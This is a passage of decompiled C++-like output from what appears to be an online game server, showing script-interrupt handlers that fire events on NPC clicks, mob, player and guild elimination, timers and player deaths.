"ScriptInterrupt::ScriptInterruptNPCClickIndex::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( arg->sib_InterruptBlast ) { memcpy(eventblock, &arg->sib_InterruptBlock, 0x100u); v8 = arg->sib_Argument.area.player; v9 = PineScriptToken::pst_Clear(argument); PineScriptToken::pst_MergeNumber(v9, v8); v10 = arg->sib_BlastNumber - 1; v11 = arg->sib_BlastNumber == 1; arg->sib_BlastNumber = v10; if ( v10 < 0 | v11 ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); arg->sib_InterruptBlast = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptNPCClickIndex::sib_BlastCheck"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptNPCClickIndex::sib_BlastCheck"); result = 0; } return result; } //----- (004F0400) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptNPCClickAny::sib_BlastCheck(ScriptInterrupt::ScriptInterruptNPCClickAny *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #593 *center) { int v8; // ST00_4@2 PineScriptToken *v9; // eax@2 int v10; // eax@2 bool v11; // zf@2 char result; // al@4 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptNPCClickAny::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptNPCClickAny::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( arg->sib_InterruptBlast ) { memcpy(eventblock, &arg->sib_InterruptBlock, 0x100u); v8 = *(_WORD *)&arg->sib_Argument.area.areaname[0]; v9 = PineScriptToken::pst_Clear(argument); PineScriptToken::pst_MergeNumber(v9, v8); v10 = arg->sib_BlastNumber - 1; v11 = arg->sib_BlastNumber == 1; arg->sib_BlastNumber = v10; if ( v10 < 0 | v11 ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); arg->sib_InterruptBlast = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptNPCClickAny::sib_BlastCheck"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptNPCClickAny::sib_BlastCheck"); result = 0; } return result; } //----- (004F0520) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptObjectDeadHandle::sib_BlastCheck(ScriptInterrupt::ScriptInterruptObjectDeadHandle *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #593 *center) { int v8; // ST00_4@2 PineScriptToken *v9; // eax@2 int v10; // eax@2 bool v11; // zf@2 char result; // al@4 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptObjectDeadHandle::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptObjectDeadHandle::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( arg->sib_InterruptBlast ) { memcpy(eventblock, &arg->sib_InterruptBlock, 0x100u); v8 = *(_WORD *)&arg->sib_Argument.area.areaname[0]; v9 = PineScriptToken::pst_Clear(argument); PineScriptToken::pst_MergeNumber(v9, v8); v10 = arg->sib_BlastNumber - 1; v11 = arg->sib_BlastNumber == 1; arg->sib_BlastNumber = v10; if ( v10 < 0 | v11 ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); arg->sib_InterruptBlast = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptObjectDeadHandle::sib_BlastCheck"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptObjectDeadHandle::sib_BlastCheck"); result = 0; } return result; } //----- (004F0640) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptObjectDeadIndex::sib_BlastCheck(ScriptInterrupt::ScriptInterruptObjectDeadIndex *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #593 *center) { int v8; // ST00_4@2 PineScriptToken *v9; // eax@2 int v10; // eax@2 bool v11; // zf@2 char result; // al@4 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptObjectDeadIndex::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptObjectDeadIndex::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( arg->sib_InterruptBlast ) { memcpy(eventblock, &arg->sib_InterruptBlock, 0x100u); v8 = arg->sib_Argument.area.player; v9 = PineScriptToken::pst_Clear(argument); PineScriptToken::pst_MergeNumber(v9, v8); v10 = arg->sib_BlastNumber - 1; v11 = arg->sib_BlastNumber == 1; arg->sib_BlastNumber = v10; if ( v10 < 0 | v11 ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); arg->sib_InterruptBlast = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptObjectDeadIndex::sib_BlastCheck"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptObjectDeadIndex::sib_BlastCheck"); result = 0; } return result; } //----- (004F0760) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptMobEleminate::sib_BlastCheck(ScriptInterrupt::ScriptInterruptMobEleminate *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #593 *center) { int v8; // eax@2 char result; // al@4 int almc; // [sp+14h] [bp-24h]@1 __int16 v11; // [sp+18h] [bp-20h]@1 int v12; // [sp+1Ch] [bp-1Ch]@1 int v13; // [sp+20h] [bp-18h]@1 int v14; // [sp+24h] [bp-14h]@1 char (__thiscall *v15)(AxialListMobCounter *, #593 *, #593 *); // [sp+28h] [bp-10h]@1 int v16; // [sp+34h] [bp-4h]@1 char arga; // [sp+3Ch] [bp+4h]@5 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptMobEleminate::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptMobEleminate::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v16 = 0; AxialListIterator::AxialListIterator((AxialListIterator *)&almc); almc = (int)AxialListMobCounter::_vftable_; v11 = -1; v12 = 0; v13 = 0; v14 = 1; v15 = AxialListMobCounter::ala_SearchAll; LOBYTE(v16) = 1; ShineObjectClass::ShineObject::so_AllInMap((void *)center, (int)&almc, 1); if ( v13 ) { arga = arg->sib_InterruptBlast; LOBYTE(v16) = 0; almc = (int)AxialListMobCounter::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&almc); --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptMobEleminate::sib_BlastCheck"); result = arga; } else { arg->sib_InterruptBlast = 1; memcpy(eventblock, &arg->sib_InterruptBlock, 0x100u); v8 = arg->sib_BlastNumber - 1; arg->sib_BlastNumber = v8; if ( v8 <= 0 ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); arg->sib_InterruptBlast = 0; LOBYTE(v16) = 0; almc = (int)AxialListMobCounter::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&almc); --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptMobEleminate::sib_BlastCheck"); result = 1; } return result; } // 651310: using guessed type int (__stdcall *AxialListMobCounter___vftable_[3])(int, int, int distancesquar); //----- (004F08E0) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptPlayerEleminate::sib_BlastCheck(ScriptInterrupt::ScriptInterruptPlayerEleminate *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #593 *center) { int v8; // eax@2 char result; // al@4 int almc; // [sp+14h] [bp-24h]@1 __int16 v11; // [sp+18h] [bp-20h]@1 int v12; // [sp+1Ch] [bp-1Ch]@1 int v13; // [sp+20h] [bp-18h]@1 int v14; // [sp+24h] [bp-14h]@1 char (__thiscall *v15)(AxialListMobCounter *, #593 *, #593 *); // [sp+28h] [bp-10h]@1 int v16; // [sp+34h] [bp-4h]@1 char arga; // [sp+3Ch] [bp+4h]@5 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptPlayerEleminate::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptPlayerEleminate::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v16 = 0; AxialListIterator::AxialListIterator((AxialListIterator *)&almc); almc = (int)AxialListMobCounter::_vftable_; v11 = -1; v12 = 0; v13 = 0; v14 = 1; v15 = AxialListMobCounter::ala_SearchPly; LOBYTE(v16) = 1; ShineObjectClass::ShineObject::so_AllInMap((void *)center, (int)&almc, 1); if ( v13 ) { arga = arg->sib_InterruptBlast; LOBYTE(v16) = 0; almc = (int)AxialListMobCounter::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&almc); --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptPlayerEleminate::sib_BlastCheck"); result = arga; } else { arg->sib_InterruptBlast = 1; memcpy(eventblock, &arg->sib_InterruptBlock, 0x100u); v8 = arg->sib_BlastNumber - 1; arg->sib_BlastNumber = v8; if ( v8 <= 0 ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); arg->sib_InterruptBlast = 0; LOBYTE(v16) = 0; almc = (int)AxialListMobCounter::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&almc); --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptPlayerEleminate::sib_BlastCheck"); result = 1; } return result; } // 651310: using guessed type int (__stdcall *AxialListMobCounter___vftable_[3])(int, int, int distancesquar); //----- (004F0A60) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptGuildEleminate::sib_BlastCheck(ScriptInterrupt::ScriptInterruptGuildEleminate *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #593 *center) { int v8; // esi@1 int v9; // eax@6 char v11; // al@9 int almc; // [sp+14h] [bp-24h]@1 __int16 v13; // [sp+18h] [bp-20h]@1 int v14; // [sp+1Ch] [bp-1Ch]@1 int v15; // [sp+20h] [bp-18h]@1 int v16; // [sp+24h] [bp-14h]@1 char (__thiscall *v17)(AxialListMobCounter *, #593 *, #593 *); // [sp+28h] [bp-10h]@1 int v18; // [sp+34h] [bp-4h]@1 char arga; // [sp+3Ch] [bp+4h]@5 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptGuildEleminate::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptGuildEleminate::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = *(_DWORD *)&arg->sib_Argument.area.areaname[0]; v18 = 0; AxialListIterator::AxialListIterator((AxialListIterator *)&almc); almc = (int)AxialListMobCounter::_vftable_; v13 = -1; v14 = v8; v15 = 0; v16 = 1; v17 = AxialListMobCounter::ala_SearchGld; LOBYTE(v18) = 1; ShineObjectClass::ShineObject::so_AllInMap((void *)center, (int)&almc, 1); if ( v15 ) { v11 = arg->sib_InterruptBlast; *(_DWORD *)&arg->sib_Argument.area.areaname[8] = 0; arga = v11; goto LABEL_10; } if ( !*(_DWORD *)&arg->sib_Argument.area.areaname[8] ) *(_DWORD *)&arg->sib_Argument.area.areaname[8] = clockwatch.cw_CurrTick; if ( *(_DWORD *)&arg->sib_Argument.area.areaname[8] + *(_DWORD *)&arg->sib_Argument.area.areaname[4] > clockwatch.cw_CurrTick ) { arga = arg->sib_InterruptBlast; LABEL_10: almc = (int)AxialListMobCounter::_vftable_; LOBYTE(v18) = 0; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&almc); --funcallanalizer.fca_stackpoint; v18 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptGuildEleminate::sib_BlastCheck"); return arga; } *(_DWORD *)&arg->sib_Argument.area.areaname[8] = 0; arg->sib_InterruptBlast = 1; memcpy(eventblock, &arg->sib_InterruptBlock, 0x100u); v9 = arg->sib_BlastNumber - 1; arg->sib_BlastNumber = v9; if ( v9 <= 0 ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); arg->sib_InterruptBlast = 0; LOBYTE(v18) = 0; almc = (int)AxialListMobCounter::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&almc); --funcallanalizer.fca_stackpoint; v18 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptGuildEleminate::sib_BlastCheck"); return 1; } // 651310: using guessed type int (__stdcall *AxialListMobCounter___vftable_[3])(int, int, int distancesquar); //----- (004F0C30) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptInterval::sib_BlastCheck(ScriptInterrupt::ScriptInterruptInterval *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #593 *center) { int v8; // esi@1 unsigned int v9; // ecx@1 char result; // al@2 int v11; // ecx@3 bool v12; // zf@3 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptInterval::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptInterval::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v8 = funcallanalizer.fca_stackpoint++ + 1; v9 = *(_DWORD *)&arg->sib_Argument.area.areaname[4]; if ( v9 <= clockwatch.cw_CurrTick ) { *(_DWORD *)&arg->sib_Argument.area.areaname[4] = v9 + *(_DWORD *)&arg->sib_Argument.area.areaname[0]; memcpy(eventblock, &arg->sib_InterruptBlock, 0x100u); v11 = arg->sib_BlastNumber - 1; v12 = arg->sib_BlastNumber == 1; arg->sib_BlastNumber = v11; if ( v11 < 0 | v12 ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptInterval::sib_BlastCheck"); result = 1; } else { funcallanalizer.fca_stackpoint = v8 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptInterval::sib_BlastCheck"); result = 0; } return result; } //----- (004F0D50) -------------------------------------------------------- #error "4F0D50: undefined or illegal type '#593' (funcsize=133)" //----- (004F0F10) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptTimeOut::sib_BlastCheck(ScriptInterrupt::ScriptInterruptTimeOut *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #593 *center) { char result; // al@2 int v9; // eax@3 bool v10; // zf@3 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptTimeOut::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptTimeOut::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( Movie::TimeLimit::tl_LeftTick(timelimit) <= 0 ) { v9 = arg->sib_BlastNumber - 1; v10 = arg->sib_BlastNumber == 1; arg->sib_BlastNumber = v9; if ( v9 < 0 | v10 ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); memcpy(eventblock, &arg->sib_InterruptBlock, 0x100u); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptTimeOut::sib_BlastCheck"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptTimeOut::sib_BlastCheck"); result = 0; } return result; } //----- (004F1010) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptKillEnemy::sib_BlastCheck(ScriptInterrupt::ScriptInterruptKillEnemy *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #593 *center) { int v8; // eax@2 bool v9; // zf@2 char result; // al@4 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptKillEnemy::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptKillEnemy::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( arg->sib_InterruptBlast ) { memcpy(eventblock, &arg->sib_InterruptBlock, 0x100u); v8 = arg->sib_BlastNumber - 1; v9 = arg->sib_BlastNumber == 1; arg->sib_BlastNumber = v8; if ( v8 < 0 | v9 ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); arg->sib_InterruptBlast = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptKillEnemy::sib_BlastCheck"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptKillEnemy::sib_BlastCheck"); result = 0; } return result; } //----- (004F1110) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptTargetChange::sib_BlastCheck(ScriptInterrupt::ScriptInterruptTargetChange *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #593 *center) { int v8; // ST00_4@2 PineScriptToken *v9; // eax@2 int v10; // eax@2 bool v11; // zf@2 char result; // al@4 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptTargetChange::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptTargetChange::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( arg->sib_InterruptBlast ) { memcpy(eventblock, &arg->sib_InterruptBlock, 0x100u); v8 = *(_WORD *)&arg->sib_Argument.area.areaname[2]; v9 = PineScriptToken::pst_Clear(argument); PineScriptToken::pst_MergeNumber(v9, v8); v10 = arg->sib_BlastNumber - 1; v11 = arg->sib_BlastNumber == 1; arg->sib_BlastNumber = v10; if ( v10 < 0 | v11 ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); arg->sib_InterruptBlast = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptTargetChange::sib_BlastCheck"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptTargetChange::sib_BlastCheck"); result = 0; } return result; } //----- (004F1230) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptPlayerDead::sib_BlastCheck(ScriptInterrupt::ScriptInterruptPlayerDead *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #593 *center) { int v8; // ST00_4@2 PineScriptToken *v9; // eax@2 int v10; // eax@2 bool v11; // zf@2 char result; // al@4 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptPlayerDead::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptPlayerDead::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( arg->sib_InterruptBlast ) { memcpy(eventblock, &arg->sib_InterruptBlock, 0x100u); v8 = *(_WORD *)&arg->sib_Argument.area.areaname[0]; v9 = PineScriptToken::pst_Clear(argument); PineScriptToken::pst_MergeNumber(v9, v8); v10 = arg->sib_BlastNumber - 1; v11 = arg->sib_BlastNumber == 1; arg->sib_BlastNumber = v10; if ( v10 < 0 | v11 ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); arg->sib_InterruptBlast = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptPlayerDead::sib_BlastCheck"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptPlayerDead::sib_BlastCheck"); result = 0; } return result; } //----- (004F1350) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptAdmin::sib_BlastCheck(ScriptInterrupt::ScriptInterruptAdmin *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #593 *center) { char v8; // al@1 int v9; // ST00_4@2 PineScriptToken *v10; // eax@2 char result; // al@2 PineScriptToken thisa; // [sp+Ch] [bp-10Ch]@2 int v13; // [sp+114h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptAdmin::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptAdmin::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = arg->sib_InterruptBlast; v13 = 0; if ( v8 ) { PineScriptToken::PineScriptToken(&thisa, arg->sib_Argument.area.areaname); memcpy(eventblock, &thisa, 0x100u); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); v9 = *(_WORD *)&arg->gap144[216]; v10 = PineScriptToken::pst_Clear(argument); PineScriptToken::pst_MergeNumber(v10, v9); ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); arg->sib_InterruptBlast = 0; --funcallanalizer.fca_stackpoint; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptAdmin::sib_BlastCheck"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptAdmin::sib_BlastCheck"); result = 0; } return result; } //----- (004F1490) -------------------------------------------------------- #error "4F1490: undefined or illegal type '#593' (funcsize=133)" //----- (004F1650) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptNPCClickHandle::sib_NPCClicked(ScriptInterrupt::ScriptInterruptNPCClickHandle *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg) { unsigned __int16 v3; // ax@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptNPCClickHandle::sib_NPCClicked"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptNPCClickHandle::sib_NPCClicked"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = arg->npcclick.npc; if ( *(_WORD *)&interrupt->sib_Argument.area.areaname[0] == v3 ) { *(_WORD *)&interrupt->sib_Argument.area.areaname[0] = v3; interrupt->sib_InterruptBlast = 1; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptNPCClickHandle::sib_NPCClicked"); } //----- (004F16D0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptNPCClickIndex::sib_NPCClicked(ScriptInterrupt::ScriptInterruptNPCClickIndex *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg) { char v3[4]; // [sp+4h] [bp-20h]@1 int v4; // [sp+8h] [bp-1Ch]@1 int v5; // [sp+Ch] [bp-18h]@1 int v6; // [sp+10h] [bp-14h]@1 int v7; // [sp+14h] [bp-10h]@1 int v8; // [sp+18h] [bp-Ch]@1 int v9; // [sp+1Ch] [bp-8h]@1 int v10; // [sp+20h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptNPCClickIndex::sib_NPCClicked"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptNPCClickIndex::sib_NPCClicked"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v10 = 0; v9 = 0; v8 = 0; v7 = 0; v6 = 0; v5 = 0; v4 = 0; *(_DWORD *)v3 = 0; strncpy(v3, arg->npcclick.index, 0x20u); if ( *(_DWORD *)&interrupt->sib_Argument.area.areaname[0] == *(_DWORD *)v3 && *(_DWORD *)&interrupt->sib_Argument.area.areaname[4] == v4 && *(_DWORD *)&interrupt->sib_Argument.area.areaname[8] == v5 && *(_DWORD *)&interrupt->sib_Argument.area.areaname[12] == v6 && *(_DWORD *)&interrupt->sib_Argument.area.areaname[16] == v7 && *(_DWORD *)&interrupt->sib_Argument.area.areaname[20] == v8 && *(_DWORD *)&interrupt->sib_Argument.area.areaname[24] == v9 && *(_DWORD *)&interrupt->sib_Argument.area.areaname[28] == v10 ) { interrupt->sib_Argument.area.player = arg->npcclick.npc; interrupt->sib_InterruptBlast = 1; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptNPCClickIndex::sib_NPCClicked"); } //----- (004F17E0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptNPCClickAny::sib_NPCClicked(ScriptInterrupt::ScriptInterruptNPCClickAny *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptNPCClickAny::sib_NPCClicked"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptNPCClickAny::sib_NPCClicked"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_WORD *)&interrupt->sib_Argument.area.areaname[0] = arg->npcclick.npc; interrupt->sib_InterruptBlast = 1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptNPCClickAny::sib_NPCClicked"); } //----- (004F1850) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptAdmin::sib_AdminInterrupt(ScriptInterrupt::ScriptInterruptAdmin *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg) { PineScriptToken thisa; // [sp+14h] [bp-10Ch]@1 int v4; // [sp+11Ch] [bp-4h]@1 